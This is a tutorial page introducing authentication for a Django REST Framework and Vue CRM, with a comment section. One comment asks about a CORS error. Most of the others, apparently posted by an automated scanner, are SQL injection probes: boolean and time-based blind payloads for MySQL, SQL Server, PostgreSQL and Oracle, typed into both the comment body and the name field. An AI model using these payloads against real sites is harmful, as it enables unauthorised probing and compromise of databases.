Part two - Building a Simple CRM Using Django (DRF) And Vue

In the second part of this Django and Vue series, we are going to learn how to add authentication to the CRM project. We're going to use Djoser to handle the user creation and token handling on the backend together with Django Rest Framework.

Comments

Tom | Oct 24, 23 09:32

I get the following error at 19:33 in the lesson:

ccess to XMLHttpRequest at 'http://127.0.0.1:8000/api/v1/users/' from origin 'http://127.0.0.1:8080' has been blocked by CORS policy: Response to preflight request doesn't pass access control check: No 'Access-Control-Allow-Origin' header is present on the requested resource.

Any advice on how to resolve this?

EFSArCBy | Jul 02, 26 08:55

555

EFSArCBy | Jul 02, 26 08:55

555

EFSArCBy | Jul 02, 26 08:55

555

EFSArCBy | Jul 02, 26 08:55

-1 OR 2+783-783-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 08:55

-1 OR 2+230-230-1=0+0+0+1

EFSArCBy | Jul 02, 26 08:55

-1' OR 2+863-863-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 08:55

-1' OR 2+51-51-1=0+0+0+1 or 'UcqMpZQv'='

EFSArCBy | Jul 02, 26 08:55

-1" OR 2+98-98-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 08:55

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 02, 26 08:55

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 02, 26 08:55

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 02, 26 08:55

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 02, 26 08:55

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 08:55

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 08:55

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 08:55

555mGJ0uHn3'; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 08:55

555-1 OR 233=(SELECT 233 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 08:55

555-1) OR 796=(SELECT 796 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 08:55

555-1)) OR 574=(SELECT 574 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 08:55

555251TBf8a' OR 983=(SELECT 983 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 08:55

555WorlqmM9') OR 510=(SELECT 510 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 08:55

555AHf3tsWD')) OR 19=(SELECT 19 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 08:55

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 02, 26 08:55

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 02, 26 08:55

555

EFSArCBy | Jul 02, 26 08:55

555'"

EFSArCBy | Jul 02, 26 08:55

@@oWZLY

EFSArCBy | Jul 02, 26 08:55

555

EFSArCBy | Jul 02, 26 08:55

555

EFSArCBy | Jul 02, 26 08:55

555

EFSArCBy | Jul 02, 26 08:55

555

EFSArCBy | Jul 02, 26 08:55

555

EFSArCBy | Jul 02, 26 08:55

555

EFSArCBy | Jul 02, 26 08:55

555

EFSArCBy | Jul 02, 26 08:55

555

EFSArCBy | Jul 02, 26 08:55

555

EFSArCBy | Jul 02, 26 08:55

555

EFSArCBy | Jul 02, 26 08:56

555

EFSArCBy | Jul 02, 26 08:56

555

EFSArCBy | Jul 02, 26 08:56

555

EFSArCBy | Jul 02, 26 08:56

555

EFSArCBy | Jul 02, 26 08:56

555

EFSArCBy | Jul 02, 26 08:56

555

EFSArCBy | Jul 02, 26 08:56

555

EFSArCBy | Jul 02, 26 08:56

555

EFSArCBy | Jul 02, 26 08:56

555

EFSArCBy | Jul 02, 26 08:56

555

EFSArCBy | Jul 02, 26 08:56

555

EFSArCBy | Jul 02, 26 08:56

555

EFSArCBy | Jul 02, 26 08:56

555

EFSArCBy | Jul 02, 26 08:56

555

-1 OR 2+940-940-1=0+0+0+1 -- | Jul 02, 26 08:56

555

-1 OR 2+121-121-1=0+0+0+1 | Jul 02, 26 08:56

555

-1' OR 2+638-638-1=0+0+0+1 -- | Jul 02, 26 08:56

555

-1' OR 2+265-265-1=0+0+0+1 or 'xQNCmtg8'=' | Jul 02, 26 08:56

555

-1" OR 2+17-17-1=0+0+0+1 -- | Jul 02, 26 08:56

555

if(now()=sysdate(),sleep(15),0) | Jul 02, 26 08:56

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 08:56

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 08:56

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 08:56

555

EFSArCByEielRy2S'; waitfor delay '0:0:15' -- | Jul 02, 26 08:56

555

EFSArCByeL2tlmkm' OR 185=(SELECT 185 FROM PG_SLEEP(15))-- | Jul 02, 26 08:56

555

EFSArCBypdCpDUWm') OR 812=(SELECT 812 FROM PG_SLEEP(15))-- | Jul 02, 26 08:56

555

EFSArCByRu1l9AkB')) OR 790=(SELECT 790 FROM PG_SLEEP(15))-- | Jul 02, 26 08:56

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 08:56

555

EFSArCBy | Jul 02, 26 08:56

555

EFSArCBy'" | Jul 02, 26 08:56

555

@@Qn7Eb | Jul 02, 26 08:56

555

EFSArCBy | Jul 02, 26 08:56

555

EFSArCBy | Jul 02, 26 08:56

555

EFSArCBy | Jul 02, 26 08:56

555

EFSArCBy | Jul 02, 26 08:56

555

EFSArCBy | Jul 02, 26 08:56

555

EFSArCBy | Jul 02, 26 08:56

555

EFSArCBy | Jul 02, 26 08:56

555

EFSArCBy | Jul 02, 26 08:56

555

EFSArCBy | Jul 02, 26 08:56

555

EFSArCBy | Jul 02, 26 08:56

555

EFSArCBy | Jul 02, 26 08:56

555

EFSArCBy | Jul 02, 26 08:56

555

EFSArCBy | Jul 02, 26 08:56

555

EFSArCBy | Jul 02, 26 08:56

555

EFSArCBy | Jul 02, 26 08:56

555

EFSArCBy | Jul 02, 26 08:56

555

EFSArCBy | Jul 02, 26 08:56

555

EFSArCBy | Jul 02, 26 08:56

555

EFSArCBy | Jul 02, 26 08:56

555

Add comment

Info

Please log in to comment!

Newsletter

Subscribe to my weekly newsletter. One time per week I will send you a short summary of the tutorials I have posted in the past week.